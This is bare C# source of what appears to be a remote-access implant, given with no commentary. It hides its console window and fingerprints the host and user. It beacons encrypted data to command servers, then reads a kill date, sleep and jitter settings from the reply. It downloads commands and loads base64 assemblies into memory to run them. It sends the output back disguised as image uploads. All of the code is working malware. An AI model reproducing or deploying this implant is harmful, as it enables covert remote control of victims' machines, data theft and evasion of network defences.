public static void Main()
	{
		Sharp(0L);
	}

public static void Sharp(long baseAddr = 0L)
	{
		DllBaseAddress = new IntPtr(baseAddr);
		if (!string.IsNullOrEmpty("") && !Environment.UserDomainName.ToLower().Contains("".ToLower()))
		{
			return;
		}
		IntPtr consoleWindow = GetConsoleWindow();
		ShowWindow(consoleWindow, 0);
		AUnTrCrts();
		int num = 30;
		int num2 = 60000;
		ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
		while (true && num > 0)
		{
			try
			{
				primer();
			}
			catch
			{
				num--;
				manualResetEvent.WaitOne(num2);
				num2 *= 2;
				continue;
			}
			break;
		}
		IntPtr currentThread = GetCurrentThread();
		TerminateThread(currentThread, 0u);
	}

private static void primer()
	{
		if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now))
		{
			return;
		}
		dfs = 0;
		string text = "";
		try
		{
			text = WindowsIdentity.GetCurrent().Name;
		}
		catch
		{
			text = Environment.UserName;
		}
		if (ihInteg())
		{
			text += "*";
		}
		string userDomainName = Environment.UserDomainName;
		string environmentVariable = Environment.GetEnvironmentVariable("COMPUTERNAME");
		string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
		int id = Process.GetCurrentProcess().Id;
		string processName = Process.GetCurrentProcess().ProcessName;
		Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
		string text2 = null;
		string text3 = null;
		string[] array = basearray;
		for (int i = 0; i < array.Length; dfs++, i++)
		{
			string text4 = array[i];
			string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
			string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
			text3 = text4;
			string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
			try
			{
				string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
				text2 = Decryption(key, enc);
			}
			catch (Exception ex)
			{
				Console.WriteLine($" > Exception {ex.Message}");
				continue;
			}
			break;
		}
		if (string.IsNullOrEmpty(text2))
		{
			throw new Exception();
		}
		Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
		Match match = regex.Match(text2);
		string randomURI = match.Groups[1].ToString();
		regex = new Regex("URLS10484390243(.*)34209348401SLRU");
		match = regex.Match(text2);
		string stringURLS = match.Groups[1].ToString();
		regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
		match = regex.Match(text2);
		string killDate = match.Groups[1].ToString();
		regex = new Regex("SLEEP98001(.*)10089PEELS");
		match = regex.Match(text2);
		string sleep = match.Groups[1].ToString();
		regex = new Regex("JITTER2025(.*)5202RETTIJ");
		match = regex.Match(text2);
		string jitter = match.Groups[1].ToString();
		regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
		match = regex.Match(text2);
		string key2 = match.Groups[1].ToString();
		regex = new Regex("IMGS19459394(.*)49395491SGMI");
		match = regex.Match(text2);
		string stringIMGS = match.Groups[1].ToString();
		ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
	}

private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
	UrlGen.Init(stringURLS, RandomURI, baseURL);
	ImgGen.Init(stringIMGS);
	pKey = Key;
	int num = 5;
	Regex regex = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
	Match match = regex.Match(Sleep);
	if (match.Success)
	{
		num = Parse_Beacon_Time(match.Groups["t"].Value, match.Groups["u"].Value);
	}
	StringWriter stringWriter = new StringWriter();
	Console.SetOut(stringWriter);
	ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
	StringBuilder stringBuilder = new StringBuilder();
	double result = 0.0;
	if (!double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out result))
	{
		result = 0.2;
	}
	string cmd;
	while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - result)), (int)((double)(num * 1000) * (1.0 + result)))))
	{
		if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
		{
			Run = false;
			manualResetEvent.Set();
			continue;
		}
		stringBuilder.Length = 0;
		try
		{
			string text = "";
			cmd = null;
			try
			{
				cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
				text = Decryption(Key, cmd).Replace("\0", string.Empty);
			}
			catch
			{
				goto end_IL_00f1;
			}
			if (!text.ToLower().StartsWith("multicmd"))
			{
				continue;
			}
			string text2 = text.Replace("multicmd", "");
			string[] array = text2.Split(new string[1] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
			string[] array2 = array;
			foreach (string text3 in array2)
			{
				taskId = text3.Substring(0, 5);
				cmd = text3.Substring(5, text3.Length - 5);
				if (cmd.ToLower().StartsWith("exit"))
				{
					Run = false;
					manualResetEvent.Set();
					break;
				}
				if (cmd.ToLower().StartsWith("loadmodule"))
				{
					string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
					Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
					Exec(stringBuilder.ToString(), taskId, Key);
				}
				else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
				{
					Thread thread = new Thread((ThreadStart)delegate
					{
						rAsm(cmd);
					});
					Exec("[+] Running background task", taskId, Key);
					thread.Start();
				}
				else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
				{
					stringBuilder.AppendLine(rAsm(cmd));
				}
				else if (cmd.ToLower().StartsWith("beacon"))
				{
					Regex regex2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
					Match match2 = regex2.Match(text3);
					if (match2.Success)
					{
						num = Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
					}
					else
					{
						stringBuilder.AppendLine($"[X] Invalid time \"{text3}\"");
					}
					Exec("Beacon set", taskId, Key);
				}
				else
				{
					string text4 = rAsm($"run-exe Core.Program Core {cmd}");
				}
				stringBuilder.AppendLine(stringWriter.ToString());
				StringBuilder stringBuilder2 = stringWriter.GetStringBuilder();
				stringBuilder2.Remove(0, stringBuilder2.Length);
				if (stringBuilder.Length > 2)
				{
					Exec(stringBuilder.ToString(), taskId, Key);
				}
				stringBuilder.Length = 0;
			}
			end_IL_00f1:;
		}
		catch (NullReferenceException)
		{
		}
		catch (WebException)
		{
		}
		catch (Exception arg)
		{
			Exec($"Error: {stringBuilder.ToString()} {arg}", "Error", Key);
		}
		finally
		{
			stringBuilder.AppendLine(stringWriter.ToString());
			StringBuilder stringBuilder3 = stringWriter.GetStringBuilder();
			stringBuilder3.Remove(0, stringBuilder3.Length);
			if (stringBuilder.Length > 2)
			{
				Exec(stringBuilder.ToString(), "99999", Key);
			}
			stringBuilder.Length = 0;
		}
	}
}

public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
	if (string.IsNullOrEmpty(key))
	{
		key = pKey;
	}
	string cookie = Encryption(key, taskId);
	string text = "";
	text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
	byte[] cmdoutput = Convert.FromBase64String(text);
	byte[] imgData = ImgGen.GetImgData(cmdoutput);
	int num = 0;
	while (num < 5)
	{
		num++;
		try
		{
			GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
			num = 5;
		}
		catch
		{
		}
	}
}

internal static byte[] GetImgData(byte[] cmdoutput)
{
	int num = 1500;
	int num2 = cmdoutput.Length + num;
	string s = _newImgs[new Random().Next(0, _newImgs.Count)];
	byte[] array = Convert.FromBase64String(s);
	byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
	byte[] array2 = new byte[num2];
	Array.Copy(array, 0, array2, 0, array.Length);
	Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
	Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
	return array2;
}